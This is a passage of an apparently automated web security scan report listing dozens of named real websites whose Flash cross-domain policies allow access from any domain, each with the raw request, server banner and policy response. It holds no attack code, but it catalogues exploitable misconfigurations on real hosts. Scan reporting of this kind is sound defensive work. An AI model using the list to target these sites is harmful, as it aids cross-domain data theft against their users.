Content-Type: text/xml; charset=utf-8
Vary: Accept-Encoding
Content-Length: 140
Date: Sat, 02 Apr 2011 14:19:13 GMT
X-Varnish: 3945368514
Age: 0
Via: 1.1 varnish
Connection: close

<cross-domain-policy>
<site-control permitted-cross-domain-policies="all"/>
<allow-access-from domain="*"/>
</cross-domain-policy>

7.47. http://www.degrees.info/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.degrees.info
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: www.degrees.info

Response

HTTP/1.1 200 OK
Date: Sat, 02 Apr 2011 13:37:34 GMT
Server: Apache/2.2.8 (Ubuntu) mod_jk/1.2.25 mod_ssl/2.2.8 OpenSSL/0.9.8g
Last-Modified: Wed, 16 Mar 2011 14:47:14 GMT
ETag: "52c1-db-49e9a9ed8c080"
Accept-Ranges: bytes
Content-Length: 219
Connection: close
Content-Type: application/xml

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="*" secure="true" />
</cro
...[SNIP]...

7.48. http://www.docstoc.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.docstoc.com
Path:	/crossdomain.xml

Issue detail

The application publishes a Flash cross-domain policy which allows access from any domain, and allows access from specific subdomains.

Allowing access from all domains means that any domain can perform two-way interaction with this application. Unless the application consists entirely of unprotected public content, this policy is likely to present a significant security risk.

Allowing access from specific domains means that web sites on those domains can perform two-way interaction with this application. You should only use this policy if you fully trust the specific domains allowed by the policy.

Request

GET /crossdomain.xml HTTP/1.0
Host: www.docstoc.com

Response

HTTP/1.1 200 OK
Content-Type: text/xml
Last-Modified: Fri, 22 Oct 2010 18:22:44 GMT
Accept-Ranges: bytes
ETag: "b44c91e1672cb1:0"
serverID: web02
Date: Sat, 02 Apr 2011 13:30:53 GMT
Connection: keep-alive
Content-Length: 151

<cross-domain-policy>
<allow-access-from domain="docstoc.com" to-ports="*" />
<allow-access-from domain="*" to-ports="*" />
</cross-domain-policy>

7.49. http://www.doctoroz.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.doctoroz.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: www.doctoroz.com

Response

HTTP/1.0 200 OK
Content-Type: text/xml; charset=utf-8
ETag: "4e5a-c9-4711fc791f940"
Last-Modified: Fri, 14 Aug 2009 20:20:13 GMT
Server: Apache
Cache-Control: max-age=3600
Date: Sat, 02 Apr 2011 13:40:44 GMT
Content-Length: 201
Connection: close
X-N: S

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="*"/>
</cross-domain-policy>
...[SNIP]...

7.50. http://www.ebaumsworld.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.ebaumsworld.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: www.ebaumsworld.com

Response

HTTP/1.1 200 OK
Date: Sat, 02 Apr 2011 13:44:31 GMT
Server: Apache/2.2.17 (EL)
Last-Modified: Mon, 02 Feb 2009 22:06:45 GMT
Accept-Ranges: bytes
Content-Length: 213
Vary: Accept-Encoding,User-Agent
Connection: close
Content-Type: text/xml

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="*" to-ports="*" />
</cross-do
...[SNIP]...

7.51. http://www.education.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.education.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: www.education.com

Response

HTTP/1.1 200 OK
Server: nginx
Date: Sat, 02 Apr 2011 13:34:11 GMT
Content-Type: text/xml
Content-Length: 201
Last-Modified: Mon, 28 Feb 2011 18:40:05 GMT
Connection: close
Expires: Thu, 31 Dec 2037 23:55:55 GMT
Cache-Control: max-age=315360000
Accept-Ranges: bytes

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="*" />
</cross-domain-policy>
...[SNIP]...

7.52. http://www.ehow.co.uk/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.ehow.co.uk
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: www.ehow.co.uk

Response

HTTP/1.0 200 OK
Server: Apache
Last-Modified: Fri, 01 Apr 2011 02:54:34 GMT
Content-Type: text/xml
Date: Sat, 02 Apr 2011 14:00:19 GMT
Content-Length: 117
Connection: close

<?xml version="1.0" encoding="UTF-8"?>
<cross-domain-policy>
<allow-access-from domain="*"/>
</cross-domain-policy>

7.53. http://www.eventful.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.eventful.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: www.eventful.com

Response

HTTP/1.0 200 OK
Connection: close
Expires: Sat, 16 Apr 2011 13:35:52 GMT
Cache-Control: max-age=1209600
Content-Type: text/xml
Accept-Ranges: bytes
ETag: "1641692581"
Last-Modified: Wed, 10 Feb 2010 18:55:07 GMT
Content-Length: 201
Date: Sat, 02 Apr 2011 13:35:52 GMT
Server: lighttpd

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="*" />
</cross-domain-policy>
...[SNIP]...

7.54. http://www.everydayhealth.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.everydayhealth.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: www.everydayhealth.com

Response

HTTP/1.1 200 OK
Content-Length: 369
Content-Type: text/xml
Last-Modified: Fri, 17 Dec 2010 22:02:56 GMT
Accept-Ranges: bytes
ETag: "0e8ca28369ecb1:3da6"
Server: Microsoft-IIS/6.0
ServerID: : USNJWWEB07
X-Powered-By: ASP.NET
Date: Sat, 02 Apr 2011 13:26:17 GMT
Connection: close

...<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM
"http://www.adobe.com/xml/dtds/cross-domain-policy.dtd">

<cross-domain-policy>
<site-control permi
...[SNIP]...
<allow-access-from domain="*"/>
...[SNIP]...

7.55. http://www.evtv1.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.evtv1.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: www.evtv1.com

Response

HTTP/1.1 200 OK
Content-Length: 216
Content-Type: text/xml
Last-Modified: Tue, 03 Mar 2009 14:07:08 GMT
Accept-Ranges: bytes
ETag: "2ed3e15699cc91:1433"
Server: Microsoft-IIS/6.0
P3P: CP='NOI DSP COR LAW NID CUR PSAi PSDi OUR BUS UNI COM NAV INT STA OTC'
X-Powered-By: ASP.NET
Date: Sat, 02 Apr 2011 13:53:45 GMT
Connection: close

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="*" />
</cross-
...[SNIP]...

7.56. http://www.ew.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.ew.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: www.ew.com

Response

HTTP/1.1 200 OK
Date: Sat, 02 Apr 2011 13:32:12 GMT
Server: Apache
Last-Modified: Fri, 24 Sep 2010 16:23:49 GMT
ETag: "373-cdb58f40"
Accept-Ranges: bytes
Content-Length: 883
Content-Type: application/xml
Vary: Accept-Encoding,X-Catmap-Header
P3P: CP='PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA PRE CUR ADMa DEVa TAIo PSAo PSDo IVAo IVDo CONo TELo OTPi OUR UNRo PUBi OTRo IND DSP CAO COR'
Connection: close

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy
SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">

<cross-domain-policy>
<allow-access-from domain="*" secure="false"/>
<allow-access-from domain="img2.timeinc.net"/>
<allow-access-from domain="img2-short.timeinc.net"/>
<allow-access-from domain="*.aol.com"/>
<allow-access-from domain="*.digitalcity.com"/>
<allow-access-from domain="*.aolcdn.com"/>
<allow-access-from domain="*.channel.aol.com"/>
<allow-access-from domain="*.aimtoday.com"/>
<allow-access-from domain="*.aimtoday.aim.com"/>
<allow-access-from domain="*.dashboard.aim.com"/>
<allow-access-from domain="*.aim.com"/>
<allow-access-from domain="peopleconnection.aol.com"/>
<allow-access-from domain="*.peoplecmg.com"/>
<allow-access-from domain="*.myspacecdn.com"/>
<allow-access-from domain="*.taaz.com" secure="true"/>
...[SNIP]...

7.57. http://www.ez-tracks.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.ez-tracks.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: www.ez-tracks.com

Response

HTTP/1.1 200 OK
Connection: close
Date: Sat, 02 Apr 2011 14:14:23 GMT
Content-Length: 208
Content-Type: text/xml
Content-Location: http://www.ez-tracks.com/crossdomain.xml
Last-Modified: Wed, 01 Dec 2004 14:18:24 GMT
Accept-Ranges: bytes
ETag: "12a73b9eb0d7c41:cb57"
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="*" />
</cross-domain-pol
...[SNIP]...

7.58. http://www.flixster.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.flixster.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: www.flixster.com

Response

HTTP/1.0 200 OK
Date: Sat, 02 Apr 2011 13:51:52 GMT
Server: Apache
Last-Modified: Thu, 31 Mar 2011 20:44:51 GMT
ETag: "64"
Accept-Ranges: bytes
Content-Length: 100
Cache-Control: max-age=86400
Expires: Sun, 03 Apr 2011 13:51:52 GMT
Vary: Accept-Encoding,User-Agent
Connection: close
Content-Type: text/xml

<?xml version="1.0"?>
<cross-domain-policy>
<allow-access-from domain="*" />
</cross-domain-policy>

7.59. http://www.freeonlinegames.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.freeonlinegames.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: www.freeonlinegames.com

Response

HTTP/1.1 200 OK
Date: Sat, 02 Apr 2011 13:40:17 GMT
Server: Apache/2.2.3 (CentOS)
Last-Modified: Tue, 30 Nov 2010 17:53:10 GMT
ETag: "180823b-a5-dc9e0d80"
Accept-Ranges: bytes
Content-Length: 165
Vary: Accept-Encoding
Connection: close
Content-Type: text/xml

<?xml version="1.0"?>
<cross-domain-policy>
<site-control permitted-cross-domain-policies="master-only"/>
<allow-access-from domain="*" />
</cross-domain-policy>

7.60. http://www.g4tv.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.g4tv.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: www.g4tv.com

Response

HTTP/1.0 200 OK
X-Cnection: close
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Content-Type: text/xml
Content-Length: 208
Cache-Control: private, max-age=58266
Date: Sat, 02 Apr 2011 13:40:33 GMT
Connection: close
X-N: S

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy
SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="*" />
</cross-domain
...[SNIP]...

7.61. http://www.gamerdna.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.gamerdna.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: www.gamerdna.com

Response

HTTP/1.1 200 OK
Date: Sat, 02 Apr 2011 13:31:55 GMT
Server: Apache/2.2.8 (Unix) mod_ssl/2.2.8 OpenSSL/0.9.8e-fips-rhel5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 PHP/5.2.5
Last-Modified: Sat, 22 Nov 2008 02:54:30 GMT
ETag: "7bce-a2-45c3e47d96580"
Accept-Ranges: bytes
Content-Length: 162
Vary: Accept-Encoding,User-Agent
Connection: close
Content-Type: application/xml

<?xml version="1.0"?>
<cross-domain-policy>
<allow-access-from domain="*"/>
<allow-http-request-headers-from domain="*" headers="*"/>
</cross-domain-policy>

7.62. http://www.gamesradar.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.gamesradar.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: www.gamesradar.com

Response

HTTP/1.1 200 OK
Date: Sat, 02 Apr 2011 13:35:56 GMT
Server: Apache/2.2.11 (Ubuntu) mod_jk/1.2.26
Last-Modified: Tue, 04 May 2010 19:20:06 GMT
ETag: "2bc0006-1cc-485c998d72580"
Accept-Ranges: bytes
Content-Length: 460
Connection: close
Content-Type: application/xml

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
   <allow-access-from domain="gr22static.gamesradar.com" />
   <allow-access-from domain="static22.gamesradar.com" />
...[SNIP]...
<allow-access-from domain="*.serving-sys.com" />
   <allow-access-from domain="*" />
...[SNIP]...

7.63. http://www.gametrailers.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.gametrailers.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: www.gametrailers.com

Response

HTTP/1.0 200 OK
Server: Apache/2.0.63 (Unix) PHP/5.3.2
Last-Modified: Wed, 02 Feb 2011 00:17:00 GMT
ETag: "1268c463d-cf-49b4191509700"
Accept-Ranges: bytes
Content-Length: 207
Content-Type: application/xml
Date: Sat, 02 Apr 2011 13:37:31 GMT
Connection: close
Set-Cookie: ak-mobile-detected=no; expires=Sat, 02-Apr-2011 19:37:31 GMT; path=/
Vary: User-Agent

<?xml version="1.0"?>

<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="*" />
</cross-domain-
...[SNIP]...

7.64. http://www.gourmandia.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.gourmandia.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: www.gourmandia.com

Response

HTTP/1.1 200 OK
Date: Sat, 02 Apr 2011 13:57:42 GMT
Server: Apache
Last-Modified: Thu, 19 Aug 2010 21:34:46 GMT
ETag: "66880b1-ce-f3774980"
Accept-Ranges: bytes
Content-Length: 206
Connection: close
Content-Type: text/xml

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="*" />
</cross-domain-p
...[SNIP]...

7.65. http://www.greenwichmeantime.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.greenwichmeantime.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: www.greenwichmeantime.com

Response

HTTP/1.1 200 OK
Date: Sat, 02 Apr 2011 13:58:32 GMT
Server: Apache/2.0.63 (Red Hat)
Last-Modified: Sat, 20 Mar 2010 13:46:58 GMT
ETag: "c8c8aa-100-b408ce80"
Accept-Ranges: bytes
Content-Length: 256
Connection: close
Content-Type: text/xml

<?xml version="1.0"?>

<!DOCTYPE cross-domain-policy SYSTEM
"http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">

<cross-domain-policy>

<allow-access-from domain="*" />
...[SNIP]...

7.66. http://www.groupon.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.groupon.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: www.groupon.com

Response

HTTP/1.0 200 OK
Server: nginx/0.7.65
Content-Type: text/xml
Accept-Ranges: bytes
Age: 164396
Date: Sat, 02 Apr 2011 13:32:32 GMT
Last-Modified: Thu, 18 Nov 2010 03:41:54 GMT
Content-Length: 352
Connection: close

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<site-control permitted-cross-domain-policies="all"/>

...[SNIP]...
<allow-access-from domain="*" to-ports="80,443" secure="false" />
...[SNIP]...

7.67. http://www.health.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.health.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: www.health.com

Response

HTTP/1.1 200 OK
Date: Sat, 02 Apr 2011 13:35:14 GMT
Server: Apache
Last-Modified: Fri, 24 Sep 2010 16:23:49 GMT
ETag: "373-cdb58f40"
Accept-Ranges: bytes
Content-Length: 883
Content-Type: application/xml
Vary: Accept-Encoding,X-Catmap-Header
P3P: CP='PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA PRE CUR ADMa DEVa TAIo PSAo PSDo IVAo IVDo CONo TELo OTPi OUR UNRo PUBi OTRo IND DSP CAO COR'
Connection: close

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy
SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">

<cross-domain-policy>
<allow-access-from domain="*" secure="false"/>
<allow-access-from domain="img2.timeinc.net"/>
<allow-access-from domain="img2-short.timeinc.net"/>
<allow-access-from domain="*.aol.com"/>
<allow-access-from domain="*.digitalcity.com"/>
<allow-access-from domain="*.aolcdn.com"/>
<allow-access-from domain="*.channel.aol.com"/>
<allow-access-from domain="*.aimtoday.com"/>
<allow-access-from domain="*.aimtoday.aim.com"/>
<allow-access-from domain="*.dashboard.aim.com"/>
<allow-access-from domain="*.aim.com"/>
<allow-access-from domain="peopleconnection.aol.com"/>
<allow-access-from domain="*.peoplecmg.com"/>
<allow-access-from domain="*.myspacecdn.com"/>
<allow-access-from domain="*.taaz.com" secure="true"/>
...[SNIP]...

7.68. http://www.hiconversion.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.hiconversion.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: www.hiconversion.com

Response

HTTP/1.1 200 OK
Content-Type: application/xml
Date: Sat, 02 Apr 2011 13:58:17 GMT
ETag: W/"104-1301603701000"
Last-Modified: Thu, 31 Mar 2011 20:35:01 GMT
Server: Apache/2.2.9 (Fedora)
Vary: Accept-Encoding
Content-Length: 104
Connection: Close

<?xml version="1.0"?>
<cross-domain-policy>
<allow-access-from domain="*" />
</cross-domain-policy>

7.69. http://www.hodesiq.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.hodesiq.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: www.hodesiq.com

Response

HTTP/1.1 200 OK
Content-Length: 208
Content-Type: text/xml
Last-Modified: Mon, 20 Jul 2009 17:51:43 GMT
Accept-Ranges: bytes
ETag: "dbdeeabd629ca1:aea"
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Date: Sat, 02 Apr 2011 14:13:43 GMT
Connection: close

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy
SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="*" />
</cross-domain
...[SNIP]...

7.70. http://www.hollywoodreporter.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.hollywoodreporter.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: www.hollywoodreporter.com

Response

HTTP/1.0 200 OK
Server: Apache/2.2.3 (CentOS)
Content-Type: text/xml
Last-Modified: Sun, 10 Oct 2010 23:05:43 GMT
Content-Length: 193
Cache-Control: max-age=60
Expires: Sat, 02 Apr 2011 13:45:55 GMT
Date: Sat, 02 Apr 2011 13:44:55 GMT
Connection: close

<cross-domain-policy>
   <site-control permitted-cross-domain-policies="all"/>
   <allow-access-from domain="*" />
   <allow-http-request-headers-from domain="*" headers="*"/>
</cross-domain-policy>

7.71. http://www.howstuffworks.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.howstuffworks.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: www.howstuffworks.com

Response

HTTP/1.0 200 OK
Server: ATS/2.1.6-unstable
Last-Modified: Sat, 02 Apr 2011 13:00:32 GMT
P3P: CP="ALL DSP COR CUR ADMo DEVo TAIo PSAo PSDo IVAo CONi OTPi OUR NOR UNI"
Content-Length: 200
Content-Type: text/xml; charset=UTF-8
Date: Sat, 02 Apr 2011 13:23:54 GMT
Connection: close
Set-Cookie: target=us; path=/; domain=.howstuffworks.com
Expires: Sat, 02 Apr 2011 14:00:00 GMT

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="*" />
</cross-domain-policy>

7.72. http://www.huffingtonpost.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.huffingtonpost.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: www.huffingtonpost.com

Response

HTTP/1.0 200 OK
Server: Apache/2.2.8 (Unix)
Last-Modified: Thu, 01 Jul 2010 13:55:20 GMT
ETag: "26e2850-fd-48a53d22e2200"
Content-Type: application/xml
Date: Sat, 02 Apr 2011 12:37:46 GMT
Content-Length: 253
Connection: close

<?xml version="1.0"?><!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy><allow-access-from domain="*" /><allow-http-request-headers
...[SNIP]...

7.73. http://www.imagebam.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.imagebam.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: www.imagebam.com

Response

HTTP/1.1 200 OK
Date: Sat, 02 Apr 2011 13:39:30 GMT
Server: Apache
Last-Modified: Sat, 21 Aug 2010 15:06:52 GMT
ETag: "63bda7-cb-48e56c3e8fb00"
Accept-Ranges: bytes
Content-Length: 203
Connection: close
Content-Type: application/xml

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="*" />
</cross-domain-polic
...[SNIP]...

7.74. http://www.imageshack.us/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.imageshack.us
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: www.imageshack.us

Response

HTTP/1.1 200 OK
Server: nginx/0.7.64
Date: Sat, 02 Apr 2011 13:31:41 GMT
Content-Type: text/xml
Content-Length: 1198
Last-Modified: Thu, 15 Jul 2010 21:31:01 GMT
Connection: close
Set-Cookie: is_uuid=fe9301e8d0274d608c047983f575fec4; expires=Thu, 31-Dec-37 23:55:55 GMT; domain=.imageshack.us; path=/
P3P: CP="NOI CUR ADM OUR NOR STA NID"
X-Server-Name-And-Port: _:14000
Accept-Ranges: bytes

<?xml version="1.0" ?>
<cross-domain-policy>
<allow-access-from domain="*" />
<allow-http-request-headers-from headers="*" secure="false" domain="*.imageshack.us" />
<allow-http-requ
...[SNIP]...

7.75. http://www.ingdirect.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.ingdirect.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: www.ingdirect.com

Response

HTTP/1.1 200 OK
Connection: close
Server: Microsoft-IIS/7.0
Content-Type: text/xml
Last-Modified: Thu, 26 Feb 2009 18:21:42 GMT
Date: Sat, 02 Apr 2011 13:43:45 GMT
Content-Length: 209
ETag: "pv26ac04c4b7dfa765f73411be4237c54b"
X-PvInfo: [S10232.C6966.A37933.RA0.G94E8.U62A8AA9F].[OT/xml.OG/pages]
Accept-Ranges: bytes

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="*" />
</cross-domain-po
...[SNIP]...

7.76. http://www.instructables.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.instructables.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: www.instructables.com

Response

HTTP/1.1 200 OK
Server: Resin/3.0.28
P3P: IDC DSP COR CURa ADMa OUR IND PHY ONL COM STA
ETag: "DV9F16DWcqJ"
Last-Modified: Sat, 15 Jan 2011 00:26:28 GMT
Content-Type: text/xml
Content-Length: 201
X-Cacheable: YES - 30 minutes
Cache-Control: no-cache
Date: Sat, 02 Apr 2011 13:36:03 GMT
X-Varnish: 4054888881 4054848118
Age: 408
Via: 1.1 varnish
X-Cache-Svr: squid02.instructables.com
X-Cache: HIT
X-Cache-Hits: 18
Connection: close

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="*" />
</cross-domain-policy>
...[SNIP]...

7.77. http://www.instyle.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.instyle.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: www.instyle.com

Response

HTTP/1.1 200 OK
Date: Sat, 02 Apr 2011 14:04:57 GMT
Server: Apache
Last-Modified: Fri, 24 Sep 2010 16:23:49 GMT
ETag: "373-cdb58f40"
Accept-Ranges: bytes
Content-Length: 883
Content-Type: application/xml
Vary: Accept-Encoding,X-Catmap-Header
P3P: CP='PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA PRE CUR ADMa DEVa TAIo PSAo PSDo IVAo IVDo CONo TELo OTPi OUR UNRo PUBi OTRo IND DSP CAO COR'
Connection: close

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy
SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">

<cross-domain-policy>
<allow-access-from domain="*" secure="false"/>
<allow-access-from domain="img2.timeinc.net"/>
<allow-access-from domain="img2-short.timeinc.net"/>
<allow-access-from domain="*.aol.com"/>
<allow-access-from domain="*.digitalcity.com"/>
<allow-access-from domain="*.aolcdn.com"/>
<allow-access-from domain="*.channel.aol.com"/>
<allow-access-from domain="*.aimtoday.com"/>
<allow-access-from domain="*.aimtoday.aim.com"/>
<allow-access-from domain="*.dashboard.aim.com"/>
<allow-access-from domain="*.aim.com"/>
<allow-access-from domain="peopleconnection.aol.com"/>
<allow-access-from domain="*.peoplecmg.com"/>
<allow-access-from domain="*.myspacecdn.com"/>
<allow-access-from domain="*.taaz.com" secure="true"/>
...[SNIP]...

7.78. http://www.intellicast.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.intellicast.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: www.intellicast.com

Response

HTTP/1.1 200 OK
Content-Length: 136
Content-Type: text/xml
Content-Location: http://www.intellicast.com/crossdomain.xml
Last-Modified: Mon, 15 Feb 2010 17:02:22 GMT
Accept-Ranges: bytes
ETag: "e4451aa460aeca1:30d"
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Date: Sat, 02 Apr 2011 14:06:22 GMT
Connection: close
Set-Cookie: NSC_jdbtu_efgbvmu_iuuq_wt=ffffffff094a140b45525d5f4f58455e445a4a423660;expires=Sat, 02-Apr-2011 14:26:25 GMT;path=/;httponly

...<?xml version="1.0" ?>
<cross-domain-policy>
<allow-access-from domain="*" to-ports="*" secure = "true"/>
</cross-domain-policy>

7.79. http://www.kaboodle.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.kaboodle.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: www.kaboodle.com

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Set-Cookie: ss=""; Domain=kaboodle.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: ss=""; Path=/
ETag: W/"200-1301007108000"
Last-Modified: Thu, 24 Mar 2011 22:51:48 GMT
Content-Type: application/xml
Content-Length: 200
Date: Sat, 02 Apr 2011 13:30:55 GMT
Connection: close

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="*" />
</cross-domain-policy>

